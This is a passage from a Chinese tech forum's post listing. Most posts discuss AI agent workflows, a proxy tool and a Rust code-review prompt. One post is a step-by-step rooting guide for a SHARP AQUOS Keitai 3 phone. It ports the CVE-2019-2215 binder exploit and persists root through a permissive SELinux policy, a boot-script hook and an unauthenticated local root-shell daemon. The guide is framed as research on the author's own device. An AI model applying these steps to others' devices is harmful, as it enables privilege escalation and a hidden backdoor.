• AI 新建项目 目录结构基础 约束

    1
    1 帖子
    17 浏览
    四折光曲四
    先定边界,再做实现。 明确目标、不做什么、完成标准;新增需求先判断是否属于核心职责,能通过扩展解决的能力优先外置。 共享事实只维护一份。 版本、限制、协议等共同依赖的信息应有唯一权威来源,其他位置通过引用或生成获取,避免人工同步。 按变化原因划分模块。 经常一起变化的逻辑放在一起,独立变化的逻辑分开;入口负责组织调用,模块各自承担清晰职责。 让依赖、状态和生命周期显式可见。 减少循环依赖与隐式全局,明确启动、停止、连接和清理过程,使状态可查询、问题可定位。 先定义契约,也定义失败。 对外接口应明确输入、输出、错误、资源限制与兼容性;调用方应能区分执行失败、尚未完成和已经生效。 把重复约束变成自动检查。 能生成的内容不手改,能机械验证的一致性不依赖记忆;生成过程应可重复,写入失败不能破坏已有内容。 让文档各司其职。 分清入门、设计、接口、验证和交接信息,同一事实避免重复维护;历史内容明确归档,随交付物提供的说明必须独立可用。 让验证方式匹配真实风险。 纯逻辑用快速测试,跨环境行为用真实集成验收,复杂交互辅以人工检查;简化环境中的通过不能替代用户环境中的证据。 验证具体结果,也验证失败原因。 不只检查是否成功,还要确认关键输出、状态变化和预期错误;区分环境未就绪与产品缺陷,让失败能够复现。 把变更做成可审查、可交接的闭环。 分开重构与行为变化,同步实现、契约、验证和说明;发布前核对交付内容,记录已知限制,并保留可追溯的版本。
  • SHARP NP805SH ROOT 笔记

    1
    1 帖子
    72 浏览
    四折光曲四
    设备:SHARP SG805SH/NP805SH/AQUOS ケータイ3 平台:Qualcomm MSM8909 | Android 8.1.0 | Linux 3.18.71-perf 结果:重启自动生效的完整 capabilities root,无需再运行 exploit。 用厂商公开的内核源码逐字节复现编译 → 从带 DWARF 的 vmlinux 导出结构体偏移 → 移植 CVE-2019-2215 拿临时 root → (SELinux 策略 + install-recovery.sh 钩子 + rootd 守护进程)永久化。 1. 资源 资源 地址 说明 Sharp OSS 页面 https://k-tai.sharp.co.jp/support/developers/oss/aquos-keitai3/index.html 必须用**商品名「AQUOS ケータイ3」**检索,型番 SG805SH 搜不到 内核源码 http://ad-dl02.4sh.jp/developers/oss/aquos-keitai3/index_v2/download/AQUOS_keitai3_S0018.tar.gz 171,646,693 字节,md5 d0a7aa6d16cf9441731f61697660f88d ARM 工具链 AOSP prebuilts arm-eabi-4.8(android-8.1.0_r1 分支) 与设备编译器版本一致 CVE-2019-2215 报告 Project Zero issue 1942 Jann Horn & Maddie Stone ARM32 移植 ★ https://github.com/flipphoneguy/root-sonim-xp3800 946 行,含 docs/arm32-port.md,本文 exploit 基于它 3.18 PoC 参考 CrackerCat/cve2019-2215-3.18、Karma2424/cve2019-2215-3.18 3.18 分支专用 基础 PoC timwr/CVE-2019-2215 流传最广的版本 2. 复现官方内核 没有正确的内核符号地址无从定位 exploit ,selinux_enforcing 与 cred 偏移。MSM8909 已 EOL,但 Sharp 公开了源码。 2.1 环境 WSL2 / Ubuntu 22.04(.wslconfig 设 networkingMode=mirrored) arm-eabi-4.8(AOSP prebuilts)、pahole、secilc 2.2 配置与编译 设备原厂内核配置位于 /proc/config.gz(4375 行,世界可读),直接套用: tar xzf AQUOS_keitai3_S0018.tar.gz \ "AQUOS_keitai3_S0018/LINUX/android/kernel/msm-3.18" cp device.config ./msm-3.18/.config make ARCH=arm CROSS_COMPILE=$TC olddefconfig 配置: CONFIG_RANDOMIZE_BASE ❌ → 无 KASLR,内核地址固定 CONFIG_SLAB_FREELIST_RANDOM ❌ → 堆风水可控 CONFIG_DEBUG_INFO ✅ → vmlinux 自带 DWARF CONFIG_KALLSYMS_ALL ✅ 编译命令: export KBUILD_BUILD_USER=sharp export KBUILD_BUILD_HOST=TG840314 export KBUILD_BUILD_VERSION=1 export KBUILD_BUILD_TIMESTAMP="Thu Oct 24 03:44:25 JST 2019" # ★ 必须逐字一致 HCF="-Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer -std=gnu89 -fcommon" make ARCH=arm CROSS_COMPILE=$TC CC=${TC}gcc HOSTCFLAGS="$HCF" -j20 vmlinux 四个编译问题: scripts/gcc-wrapper.py 是 Python2 → 命令行覆盖 CC=${TC}gcc dtc 报 yylloc 多重定义(GCC10+ 默认 -fno-common)→ HOSTCFLAGS 补 -fcommon msm_sensor.h 找不到头文件 → sensor/io/Makefile 补 -I f_midi.c 找不到 u_f.h → drivers/usb/gadget/Makefile 补 -I 关键:KBUILD_BUILD_TIMESTAMP 必须与设备构建时间逐字一致。版本串长度哪怕差一个字符,.data 段整体偏移,符号地址全废。 2.3 一致性验证(决定性一步) strings vmlinux | grep -m1 'Linux version' # 期望: # Linux version 3.18.71-perf (sharp@TG840314) (gcc version 4.8 (GCC) ) # #1 SMP PREEMPT Thu Oct 24 03:44:25 JST 2019 版本串逐字节一致还不够。设备 /proc/kallsyms 有 131,900 条符号,本地 System.map 有 128,305 条,最长连续匹配块达到 26,055 个符号。拿到 root 后用真机地址最终核对: 符号 本地 System.map 设备运行值 commit_creds c0138e84 c0138e84 selinux_enforcing c146ef24 c146ef24 init_cred c13171d0 c13171d0 sys_call_table c0106b84 c0106b84 3. 导出结构体偏移 CONFIG_DEBUG_INFO=y 的 vmlinux 自带完整 DWARF,直接用 pahole 读: pahole -C binder_thread vmlinux pahole -C task_struct vmlinux pahole -C thread_info vmlinux pahole -C cred vmlinux 实测结果: struct binder_thread size 0x134 (308) → 落在 kmalloc-512 wait_queue_head_t wait 0x50 struct task_struct *task 0x130 ← UAF 后残留,可泄露 struct task_struct void *stack 0x004 const struct cred *cred 0x3AC ← ★ 需要替换 struct thread_info addr_limit 0x008 struct cred uid 0x004, securebits 0x024, cap_inheritable 0x028, cap_permitted 0x030, cap_effective 0x038, cap_bset 0x040, cap_ambient 0x048 4. 移植 CVE-2019-2215 4.1 CVE-2019-2215 是 binder 驱动的 use-after-free。MSM8909 EOL 后厂商没有把 binder 修复 backport 到 3.18 的 MSM8909 分支。审计 drivers/staging/android/binder.c 确认: poll_wait(filp, &thread->wait, wait); // 脆弱写法依然存在 // binder_thread_release() 里缺少: // wake_up_poll(&thread->wait, POLLHUP | POLLFREE); 检查项 结果 POLLFREE 出现次数 0 EPOLLFREE 出现次数 0 /dev/binder 权限 crw-rw-rw-(任意进程可打开) 对照:较新机型(如 SH-03M)的源码里 POLLFREE 存在,走不通。 4.2 只改 2 个常量 基于 flipphoneguy/root-sonim-xp3800 的 ARM32 移植版,仅需改两处: #define SELINUX_ENFORCING 0xc146ef24ul /* 原值 0xc1310ae8 */ #define OFFSET__task_struct__cred 0x3AC /* 原值 0x39C */ 其余偏移与本机完全一致: BINDER_THREAD_SZ 0x134 WAITQUEUE_OFFSET 0x50 IOVEC_ARRAY_SZ 38 (0x134 / 8) IOVEC_INDX_FOR_WQ 10 (0x50 / 8,ARM32 下正好对齐) 4.3 编译 arm-linux-gnueabi-gcc -static -O2 -w -o exploit_arm exploit.c # 产物:673,424 字节,ELF32 ARM,静态链接 ARM32 对齐、管道时序、两阶段泄露的细节见仓库 docs/arm32-port.md,不再展开。 5. 获取临时 Root adb push exploit_arm /data/local/tmp/ adb shell chmod 755 /data/local/tmp/exploit_arm adb shell /data/local/tmp/exploit_arm id 预期输出: [*] CVE-2019-2215 exploit for SHARP AQUOS Keitai 3 (SG805SH/NP805SH) [*] start uid=2000 euid=2000 [+] ===== ROOT ===== uid=0 euid=0 gid=0 uid=0(root) gid=0(root) groups=0(root) getenforce → Permissive ️ exploit 存在竞态,约 1/5 概率导致内核 panic 重启(只会重启,不会变砖)。多试几次即可。 临时 root 只在本次进程树内有效,重启就没了——真正的工作在永久化。 6. 永久化:三件套 6.0 Android 权限是三层叠加,缺任何一层都拿不到「完整 root」: 层 障碍 现象 解法 SELinux(domain) shell 域没有 capability setuid avc: denied { setuid },想写 enforce 又被拒(鸡生蛋) 改策略,把 shell / install_recovery 域设为 permissive capability(bounding set) adbd 的 bounding set 只有 0xc0 setuid 二进制无论如何突破不了 让 init 启动守护进程,继承完整的 0x3fffffffff DAC(uid) 需要 root uid — 前两者解决后自然获得 实测证据: adbd(shell): CapBnd = 00000000000000c0 ← 只有 setgid / setuid init(pid 1): CapBnd = 0000003fffffffff ← 完整 38 个能力 这解释了为什么单纯做一个 setuid su 不行——uid 变成 0 但能力位不够,mount、读 /data/data 等依旧失败。 6.1 A:SELinux 策略改造 可行性前提:/system 无 dm-verity、无 AVB;init 优先加载预编译策略;plat 与 vendor 侧的 .sha256 内容相同(都指向未修改的 CIL),init 判定「预编译策略有效」直接加载 /vendor 里替换的那份。 # 1) 用临时 root 拉取原始策略集合 adb shell "/data/local/tmp/exploit_arm sh -c \ 'cp -r /system/etc/selinux /data/local/tmp/selinux; chmod -R 777 /data/local/tmp/selinux'" adb pull /data/local/tmp/selinux ./selinux adb pull /vendor/etc/selinux/precompiled_sepolicy ./precompiled_orig.bin # 2) 在 plat_sepolicy.cil 末尾追加两行 cat >> selinux/plat_sepolicy.cil <<'EOF' (typepermissive shell) (typepermissive install_recovery) EOF # 3) 编译(★ 策略版本必须 30,对应 3.18 的 POLICYDB_VERSION_MAX) secilc -c 30 -o final_policy.bin \ selinux/plat_sepolicy.cil \ selinux/mapping/27.0.cil \ selinux/nonplat_sepolicy.cil # 产物:435,814 字节 风险控制:一定要先在 PC 侧用 secilc 完整编译验证通过再推到设备。策略语法错误可能导致无法开机。 6.2 B:开机钩子 install-recovery.sh /init.rc 里有一个 oneshot 服务,以 init 身份执行脚本(没有 seclabel,不做域转换): service flash_recovery /system/bin/install-recovery.sh class main oneshot 脚本末尾追加,即可拿到完整 bounding set,顺便设 permissive: # --- 永久 root:设 permissive + 启动 root shell 守护进程 --- echo 0 > /sys/fs/selinux/enforce /system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 & 保留原逻辑只追加这段;权限 750,标签 u:object_r:install_recovery_exec:s0。 6.3 C:root 守护进程 rootd 极简静态 C 程序(591,088 字节),监听 127.0.0.1:<port>,每个连接 fork 一个 shell: bind(... INADDR_LOOPBACK ...); accept → fork → dup2 → execl("/system/bin/sh", "sh", "-i", NULL); 被 init 启动所以继承完整 capabilities——这是「完整 root」的关键。 arm-linux-gnueabi-gcc -static -O2 -w -o rootd rootd.c 7. 部署与验证 7.1 部署顺序(全部通过临时 root 执行) # 0) 推入产物 adb push final_policy.bin /data/local/tmp/final.policy adb push rootd /data/local/tmp/rootd adb push su_arm /data/local/tmp/su_arm # 1) 替换 SELinux 策略(先备份原始策略) adb shell "/data/local/tmp/exploit_arm sh -c '\ cp /vendor/etc/selinux/precompiled_sepolicy /data/local/tmp/precompiled_sepolicy.orig; \ mount -o remount,rw /vendor; \ cp /data/local/tmp/final.policy /vendor/etc/selinux/precompiled_sepolicy; \ chown 0:0 /vendor/etc/selinux/precompiled_sepolicy; \ chmod 644 /vendor/etc/selinux/precompiled_sepolicy; \ chcon u:object_r:vendor_file:s0 /vendor/etc/selinux/precompiled_sepolicy; \ sync; mount -o remount,ro /vendor'" # 2) 修改开机钩子(先备份原文件,再追加 6.2 那段) adb shell "/data/local/tmp/exploit_arm sh -c '\ mount -o remount,rw /system; \ cp /system/bin/install-recovery.sh /data/local/tmp/install-recovery.sh.orig; \ printf \"\n# --- permanent root ---\necho 0 > /sys/fs/selinux/enforce\n/system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 &\n\" >> /system/bin/install-recovery.sh; \ chown 0:0 /system/bin/install-recovery.sh; chmod 750 /system/bin/install-recovery.sh; \ chcon u:object_r:install_recovery_exec:s0 /system/bin/install-recovery.sh; \ sync; mount -o remount,ro /system'" # 3) 部署 rootd 与备用 su adb shell "/data/local/tmp/exploit_arm sh -c '\ mount -o remount,rw /system; \ cp /data/local/tmp/rootd /system/xbin/rootd; \ cp /data/local/tmp/su_arm /system/xbin/su; \ chown 0:0 /system/xbin/rootd /system/xbin/su; \ chmod 755 /system/xbin/rootd; chmod 4755 /system/xbin/su; \ chcon u:object_r:system_file:s0 /system/xbin/rootd /system/xbin/su; \ sync; mount -o remount,ro /system'" # 4) 重启(此后不再需要 exploit) adb reboot 7.2 验证 adb forward tcp:2323 tcp:2323 # 连接 127.0.0.1:2323,即得 root shell 期望: uid=0(root) gid=0(root) groups=0(root) context=u:r:install_recovery:s0 CapEff: 0000003fffffffff ← 完整能力 CapBnd: 0000003fffffffff ← 完整 bounding set mount -o remount,rw /system → OK ls /data/data/com.android.settings → OK cat /proc/kallsyms | grep commit_creds → c0138e84 T commit_creds 8. Root 之后怎么用 adb forward tcp:2323 tcp:2323 PowerShell 一行示例: $c = New-Object Net.Sockets.TcpClient('127.0.0.1', 2323) $s = $c.GetStream() $w = New-Object IO.StreamWriter($s); $w.AutoFlush = $true $w.WriteLine("id") Start-Sleep 2 (New-Object IO.StreamReader($s)).ReadToEnd() 两条备用通道:setuid su(uid=0,能力受限)adb shell /system/xbin/su id;exploit(完整 root,约 1/5 概率 panic)adb shell /data/local/tmp/exploit_arm id。 9. 设备上的文件清单 路径 内容 大小 / 权限 /vendor/etc/selinux/precompiled_sepolicy 重编译 permissive 策略 435,814 字节 /system/bin/install-recovery.sh 开机钩子(原逻辑 + 三行追加) 750 /system/xbin/rootd root shell 守护进程 591,088 字节 /system/xbin/su setuid root(备用) 590,704 字节(4755) /data/local/tmp/exploit_arm CVE-2019-2215 exploit(备用) 673,424 字节 回滚备份:/data/local/tmp/precompiled_sepolicy.orig、/data/local/tmp/install-recovery.sh.orig。 10. 回滚 通过 root shell 执行: mount -o remount,rw /vendor cp /data/local/tmp/precompiled_sepolicy.orig /vendor/etc/selinux/precompiled_sepolicy mount -o remount,ro /vendor mount -o remount,rw /system cp /data/local/tmp/install-recovery.sh.orig /system/bin/install-recovery.sh rm -f /system/xbin/rootd /system/xbin/su chmod 750 /system/bin/install-recovery.sh mount -o remount,ro /system 11. 安全提醒 Root 之后设备安全性明显下降:SELinux 全局 Permissive;shell / install_recovery 域在策略层面被设为 permissive;/system/xbin/su 是 setuid-root,任何能执行它的进程都能拿到 uid 0;rootd 在 127.0.0.1:2323 提供无认证 root shell;/vendor 与 /system 已被修改。请只在自己的设备上操作,需要恢复请见第 10 节。 12. 复盘:为什么这台机器能成 「设备真名」决定检索成败——型番 SG805SH 一无所获,商品名「AQUOS ケータイ3」就能找到官方内核源码; EOL 芯片的补丁缺口——MSM8909 停更,厂商没有 backport binder 补丁,CVE-2019-2215 可用; Android 权限是三层叠加——DAC / capability bounding set / SELinux,任缺一层都拿不到「完整 root」;本文分别用 setuid、init 启动、策略修改把三层补齐; 精确复现内核是前提——和真机逐字节对齐的符号地址,exploit 才不需要盲猜; CONFIG_DEBUG_INFO=y 的 vmlinux 是宝库——pahole 直接读出所有结构体偏移。 本文为安全研究与设备修复目的撰写,所有操作均在自己的设备上进行。
  • AI Agent 协作:提示词工程与免费网页对话 AI

    1
    1 帖子
    114 浏览
    四折光曲四
    AI agent 协作是复合能力:提示词工程、领域知识、管理能力、评估迭代、工具理解。管理视角是好框架,但落到执行,提示词是把目标变成 agent 输入的唯一通道,两者不是对立而是分工。比争论归因更有用的是可操作的流程:不熟悉的架构先用免费网页 AI 摸清整个流程、确定技术栈,输出完整 plan 再派给 agent;出了问题先和免费 AI 会诊,再把结论精确转达。AI 既放大表达漏洞,也放大认知上限——所以把想清楚的成本花在免费的地方,把执行的成本花在想清楚之后。 一、两类工具的成本结构不同 对话 AI 和 agent 的差异,本质不是“聊天和干活”,而是试错成本不同。 网页对话 AI(免费档的 DeepSeek、豆包、ChatGPT 之类)免费或包月,一轮一纠偏,说错了重来没有额外代价。适合陪你想清楚。 agent 按 token 烧钱,自主跑几十步,走偏了错误会复利,发现越晚代价越大。适合执行已经想清楚的事。 推论:没想清楚的事,先跟对话 AI 想清楚;想清楚的方案,交给 agent 执行。这是参谋与执行的分工,也是本文的核心。 边界:熟悉的代码库、小的可逆改动,可以让 agent 直接干。摸底流程是给陌生领域和大决策用的。 二、核心流程:先摸底,再定方案,后派活 以「给内部系统对接钉钉审批流,但你从没做过」为例。 1. 用免费对话 AI 摸清流程 问的问题比得到的答案重要: 主流实现方式有哪几种?各自的代价? 需要哪些 API、SDK、权限申请? 典型的坑在哪? 描述一个典型架构和完整调用链。 警惕一点:对话 AI 有知识截止日期,SDK 版本、API 名称、参数可能记错。关键事实去官方文档核对。它给的是地图,不是路况。 但是现在大多数都带有网络搜索功能,询问最新。 2. 收敛技术栈和架构 让它对比方案,逼它给出选型理由(「方案 A 在我的场景下会撞上什么问题」),最后你拍板。决策留在人手里。 3. 产出具体 plan 让对话 AI 起草分步计划,每步带验收标准。你自己过一遍,砍掉不认同的步骤。此时的 plan 应具体到:做什么、用什么、怎么算做完。 4. 派活给 agent plan 之外,任务单里必须写环境事实:语言版本、已有依赖、相关文件位置、不能碰的东西。agent 不知道你的环境,它会拿训练数据里的“典型环境”脑补——大量幻觉来源于此。 5. 出问题:先会诊,再精确转达 agent 报错或产出不对时,不要丢一句「再试一次」。把报错原文和相关代码贴给免费对话 AI 会诊,得出结论后,压缩成明确指令转达: token 获取逻辑有误:改为每次请求前检查 access_token 过期时间,过期先刷新。只改 auth.py,其他不动。 绕这一道的原因: agent 自主试错烧 token 和时间,且可能在错误方向上跑远; 会诊过程会产生大量已否定的思路,整段贴过去会污染上下文; 会诊逼你把问题想清楚,转达时自然精确。 精确转达的原则:给结论和处方,不给过程;给报错原文,不给你的转述。 三、任务单怎么写 提示词工程落到 agent 场景,就是一张像样的任务单。 差的写法: 帮我加个登录功能。 好的写法: 目标:为现有 FastAPI 项目添加 JWT 登录。 现状:结构见 README;用户表在 app/models/user.py;已用 sqlalchemy。 范围:只新增 auth 相关文件,不改数据库 schema。 验收:POST /login 返回 token;GET /me 用 token 鉴权通过;新增 pytest 测试全绿。 约束:用 pyjwt,不引入新框架。 流程:先列出实施步骤和涉及文件,我确认后再写代码。 六个字段对应的正是经典管理问题:目标(要什么)、现状(上下文)、范围(授权边界)、验收(怎么算完成)、约束(红线)、流程(检查点)。提示词工程和管理能力在一张任务单上汇合。 验收标准最考验领域知识:你不知道什么是「对」,就写不出可测试的标准,也就永远无法验收。 两个高性价比技巧: 复述确认:让 agent 先复述它理解的任务和步骤,确认后再执行。目标错位在最便宜的时候被发现。 先方案后动手:任务单末尾加一句「先给方案,我确认后再改代码」。这是人工批准门禁的提示词实现,既避免微操,也避免甩手。 四、上下文管理 上下文是稀缺资源,管理它就是管理注意力。 给相关的,不给全部。贴三个关键文件,胜过丢整个仓库。 记决策,不记流水账。会话结束让 agent 总结「已确定的事项」,下个会话带摘要进场,不带几十轮聊天记录。 shorthand 有效,但依赖长期协作积累。新会话、新 agent,别默认它听得懂你的黑话。 五、失败诊断:症状 → 层级 → 处方 Agent 失败先分层再动手,避免把模型能力问题归咎于自己的提示词,反之亦然。 症状 层级 处方 产出与目标南辕北辙 目标层 重写目标与验收;用复述确认 方向对,细节错 提示层 补上下文:相关代码、接口、示例 编造不存在的 API 或参数 模型层 贴官方文档片段、锁定版本;或换模型 工具调用失败、文件没改上 工具层 查权限、路径、配置 前几步对,越跑越偏 流程层 任务太大,拆步、加检查点 同一处反复改不收敛 评估层 给可测的验收标准,贴报错原文 六、管理类比的适用边界 顺手说清:agent 无动机、无跨会话记忆、不随协作成长,所以激励、培养、组织政治这些管理要素不适用。适用的部分是目标设定、授权边界、检查点、验收标准——而它们恰恰都要通过提示词落地。 七、实践清单 陌生领域:先用免费对话 AI 摸底,官方文档核对版本和 API。 技术栈、架构:会诊收敛,人拍板。 派活前:写六字段任务单,验收标准必须可测试。 大任务:拆步、设检查点,关键节点人工批准。 出错:先会诊,精确转达,不整段转贴聊天记录。 跨会话:带决策摘要,不带流水账。 反复修不好:先分层诊断,再考虑换模型或改流程。 对模型:不神化,不贬低,认识边界。 管理能力决定方向和稳定性,提示词能力决定每一环的执行质量。而想不清楚的问题,agent 不会替你想清楚,只会替你执行混乱。把想清楚的成本花在免费的对话里,把执行的成本花在想清楚之后。
  • MoeCounterRe

    6
    6 帖子
    648 浏览
    四折光曲四
    对元素njs项目进行了rust重构,不再需要nodejs或php,占用更低性能更好
  • Newppp 取名自随机

    1
    1 帖子
    132 浏览
    四折光曲四
    个人使用的代理工具,依赖UDP环境 模拟浏览器的数据流,TLS+内置双加密 占用极低,速度极快,网络环境较好时可以跑满千兆宽带下行 (测试为联通1000兆家庭宽带) 只提供了http代理和socks5代理出口为,需要连接第三方客户端(V2ray等)进行分流等 开源地址:https://github.com/Raven777777/newppp
  • RUST 代码审查 提示词 SKILL

    1
    1 帖子
    151 浏览
    四折光曲四
    角色 你是资深 Rust 代码审查员与自动重构工程师。对当前项目执行全流程代码审查:审查 → 计划 → 执行 → 验证 → 交付。不停留在“指出问题”,对确认安全、可验证、可回滚的问题直接修复。 三条铁律(凌驾于所有规则之上): 安全优先:宁可少改,不可改错。任何修改必须可验证、可回滚。 证据驱动:每个结论必须附依据(代码位置、命令输出、文档引用)。未执行的验证如实标注“未执行/环境不支持”,严禁编造验证通过结果。 最小爆炸半径:一次只做一个逻辑变更;机械改动与语义改动严格分离;禁止计划外的“顺手修改”。 第一部分:执行流程(五阶段,阶段间设门禁) 阶段 0:环境探测与基线锁定(准入门槛) 项目画像: 形态:workspace / 单 crate / 库 / bin / Web 服务 / CLI / 嵌入式 / 含 FFI async 运行时:tokio / async-std / smol / 无异步;多线程或 current-thread 关键依赖与版本:serde、sqlx/diesel/sea-orm、axum/actix-web/warp/rocket、chrono/time、tracing/log、thiserror/anyhow Cargo.toml:edition、rust-version(MSRV)、resolver、feature 组合、profiles(overflow-checks、panic、lto、strip) 工具盘点:fmt / clippy / test / audit / deny / machete / semver-checks / miri / loom / fuzz / criterion。不可用工具明确标注**“环境不支持”**,对应验证门禁降级并记录在案,不得跳过验证或凭猜测修改 基线记录(任何修改前必须完成): cargo fmt --all -- --check # 记录格式状态 cargo clippy --all-targets --all-features -- -D warnings # 记录现有警告清单 cargo test --all-features # 记录测试通过/失败基线 cargo tree -d && cargo machete # 依赖画像(如可用) git:确认工作区状态,建议独立分支、每逻辑变更独立提交;无 VCS 环境则保存待改文件原始快照 准出门禁:基线编译失败或测试失败时,“修复基线”成为唯一 P0 任务;无法修复 → 终止自动修改,仅交付审查报告。禁止在坏基线上做功能性修改 范围裁剪:跳过 target/、vendor/、生成代码(protobuf/bindings 等),报告中注明未覆盖范围 阶段 1:只读审查(本阶段禁止任何代码修改) 按第二部分清单全量扫描;每条问题必须包含:位置(文件:行)、证据、类别、严重度、初步修复思路 unsafe 逐块审计(规程见 §5.1) 所有不确定项直接进入“待确认”清单,禁止凭猜测定性 阶段 2:计划与风险评估 建立计划表(模板见第四部分),按 L0–L4 风险分级决定处置方式 执行顺序:unsafe 正确性/严重安全 > 数据一致性 > 功能 Bug > panic/崩溃 > 资源泄漏 > 性能 > 结构 > 可读性 > 风格 阶段 3:分批执行(每批 = 一个逻辑变更) 每项修改的固定流程: 改前确认影响面:调用方、trait 实现、feature 组合、serde/序列化格式 修改代码(同步更新注释、文档、测试) cargo check 快速验证编译 执行该类改动的最低验证门禁(见第三部分验证矩阵) 通过 → 更新计划表状态;失败 → 允许修复一次;再失败 → 回滚本批次并标记待确认 新发现的问题一律登记计划表,不得顺手修。 阶段 4:全量回归门禁(终态须全部通过或如实说明) cargo fmt --all -- --check cargo clippy --all-targets --all-features -- -D warnings cargo test --all-features # 含 doctest 条件启用:含 unsafe → cargo miri;改公共 API → cargo semver-checks;性能改动 → criterion 前后对比;依赖改动 → cargo audit / cargo deny。 与基线对比:警告数不增、测试数不减、既有失败不新增。 阶段 5:终审与交付 Diff 自审(见第三部分自审清单) 输出终审报告(模板见第四部分) 第二部分:审查清单 1. 错误与可靠性 逻辑错误、业务漏洞、条件判断错误、off-by-one(注意 ..= 闭区间与 zip 长度不匹配) panic 风险:生产路径 unwrap()/expect()/panic!/unreachable!/todo!、不可信输入直接索引(改 get())、assert! 用于生产校验 吞错:let _ =、.ok() 丢弃错误、Result 被静默忽略、#[must_use] 被 allow 压制 ? 传播链丢失上下文;From 转换抹掉根因(source 链是否保留) 整数:debug panic / release wrap 差异、as 窄化(如 i64 as i32)、除零与 % 0;该用 checked_*/saturating_*/wrapping_* 的场景 边界:空 slice、空 String、0、usize 上限、None 传播 栈溢出风险:无界递归(解析嵌套结构)、大数组栈分配(应 Box/Vec) 排序不变量:sort_by 比较器违反全序会 panic;f64::NaN 参与比较/排序键 资源生命周期:Drop 语义与顺序、Box::leak、mem::forget、Box::into_raw 无 from_raw 对应、panic 时回滚(Mutex poisoning、事务回滚) panic = "abort" profile 下:panic 不解栈 → Drop 不执行 → 回滚逻辑失效 外部依赖(IO/数据库/网络)失败行为与失败回滚逻辑 2. 冗余与废弃 清理编译器与 Clippy 警告对应项:死代码、未使用的 import/变量/函数/模块 审查 #[allow(dead_code)]、#[allow(clippy::...)] 是否仍必要(目标是移除压制原因,而非保留压制) 未使用依赖(cargo machete,stable 可用 / cargo udeps,需 nightly)与未使用 feature #[deprecated] API 调用与过时写法 合并散落多处的重复逻辑、重复常量、重复判断 删除无实际用途的抽象层(无必要的 trait、泛型参数、包装类型) 3. 结构与可读性 命名符合 Rust API Guidelines:snake_case 函数、CamelCase 类型、SCREAMING_SNAKE 常量、getter 不加 get_ 前缀、is_/has_ 布尔 模块组织:文件拆分合理性、mod.rs 与新式模块文件风格统一 函数过长、参数过多、嵌套过深;长 if let 链改 match match 穷尽性;_ 通配分支是否掩盖新增枚举变体 函数/模块/impl 块职责单一;依赖方向合理 保持项目现有架构风格,不为形式上的“优雅”过度重构 统一错误处理(thiserror/anyhow 边界)、日志、配置、返回值风格 4. 性能与资源 热点路径不必要的 .clone();String vs &str vs Cow<'_, str> 参数选择 内存分配:Vec::with_capacity、复用 buffer、entry API、iterator → collect 中间 Vec → 再 iterator 链路 Box/Rc/Arc 选择合理;循环内 Arc::clone 锁的粒度与持有时间;Arc<Mutex<T>> 可否改原子操作或消息传递 async 上下文阻塞:std::thread::sleep、同步 IO、CPU 密集未用 spawn_blocking 数据库 N+1 查询、重复查询、不必要数据读取 Rc/Arc 循环引用(用 Weak 打破)、静态集合无限增长 分配失败处理:长生命周期服务的关键路径考虑 try_reserve 性能优化必须以 profiling / criterion 基准或明确瓶颈为依据,拒绝无依据的微优化 5. 安全 5.1 unsafe 审计规程(逐块执行) 每个 unsafe 块必须有 // SAFETY: 注释说明安全前提与不变量(可用 clippy undocumented_unsafe_blocks 排查缺失) 检查项:指针别名与可变性、生命周期、未初始化内存(MaybeUninit::assume_init 前置条件)、from_raw_parts(长度/对齐)、transmute(大小/布局/有效性)、set_len、get_unchecked 边界论证、unsafe impl Send/Sync 的不变量证明、原子 ordering 正确性、Pin 不变量、#[repr(packed)] 字段引用(UB)、static mut 引用(edition 2024 已禁止)、panic 穿越 extern "C" 边界 结论四分类:① 合法且注释完备 ② 合法但缺注释 → 补注释 + 定向测试 ③ 存疑 → 待确认,不改 ④ 确认 UB → P0 修复或隔离 工具:cargo geiger(依赖 unsafe 统计)、cargo miri(注意:不支持 FFI、环境受限)、自定义同步原语用 loom 模型检查、解析器用 cargo-fuzz 策略:unsafe 集中隔离在专用模块 + 不变量注释;确认无 unsafe 的 crate 加 #![forbid(unsafe_code)] 固化 不得以“关闭安全检查”或引入 unsafe 解决安全问题 5.2 注入与输入校验 SQL 注入:format! 拼接 SQL(改 query! 宏或参数绑定);动态表名/列名无法参数化 → 白名单校验 命令注入:参数以数组传递,禁 sh -c/cmd /C 拼接用户输入;环境变量注入;Windows bat/cmd 参数转义陷阱 路径遍历:Path::join 遇绝对路径会覆盖基路径;过滤 .. 与绝对分量;canonicalize + 前缀校验存在 TOCTOU 竞态,关键场景改“先打开后校验”或 O_NOFOLLOW;symlink 攻击;用户可控路径上的 remove_dir_all 反序列化 DoS:深嵌套(serde_json 默认递归上限 128,确认配置)、超大输入限长、解压炸弹(限制解压后大小)、正则回溯(regex crate 线性时间安全;回溯引擎需评估) 网络流上 read_to_end → 改 take(limit) 5.3 机密与密码学 秘密比较用常数时间(subtle),禁止 == 比较 token/密码 zeroize 清理敏感内存;Debug/Display/serde 输出脱敏 日志/错误响应不含:密码、Token、带参 SQL、内部路径、堆栈(客户端收通用 500,详情进日志) TLS 校验不得关闭(danger_accept_invalid_certs);禁止自造密码学;秘密用 OS 熵(OsRng/getrandom),禁 SmallRng/固定种子 5.4 Web 服务(适用时) 认证中间件覆盖所有路由(含 fallback/静态资源);对象级越权检查 CORS/CSRF/Cookie 属性(HttpOnly/Secure/SameSite)/安全响应头 SSRF:解析后校验目标 IP(禁环回/内网/链路本地/云元数据 169.254.169.254),防 DNS rebinding;禁用或重校验重定向 请求体大小限制、限流;出站 HTTP 客户端显式设置超时(reqwest 默认无总超时) panic → 统一 500 兜底(catch_unwind/框架层),不断连、不崩进程(panic 即 DoS) 5.5 供应链 cargo audit(RustSec)、cargo deny(advisories/licenses/bans/sources) lockfile 必须提交;CI 用 --locked 构建 build.rs 与 proc-macro 是构建期任意代码:引入新依赖需审视其可信度 临时文件:不可预测名 + 独占创建标志 6. 类型与数据一致性 类型定义准确性;newtype(如 UserId(u64))避免裸整数语义混淆 as 转换、隐式窄化、符号类型混用(i32/u32/usize) serde 属性:#[serde(default)]、rename_all、tag/untagged、#[non_exhaustive] 的兼容性;deny_unknown_fields 会拒绝新增字段,损害前向兼容,慎用;tag 变更是破坏性 数据库类型映射:NULL 与 Option、Postgres 无无符号导致的 u32/i32 混用 时间:NaiveDateTime vs DateTime<Utc> vs 本地时间混用;统一 UTC 存储 金额用 rust_decimal 或整数分单位(禁 f64);浮点禁直接相等比较(注意 NaN) 解析外部数据的枚举缺 fallback 变体、str::parse 失败处理 7. 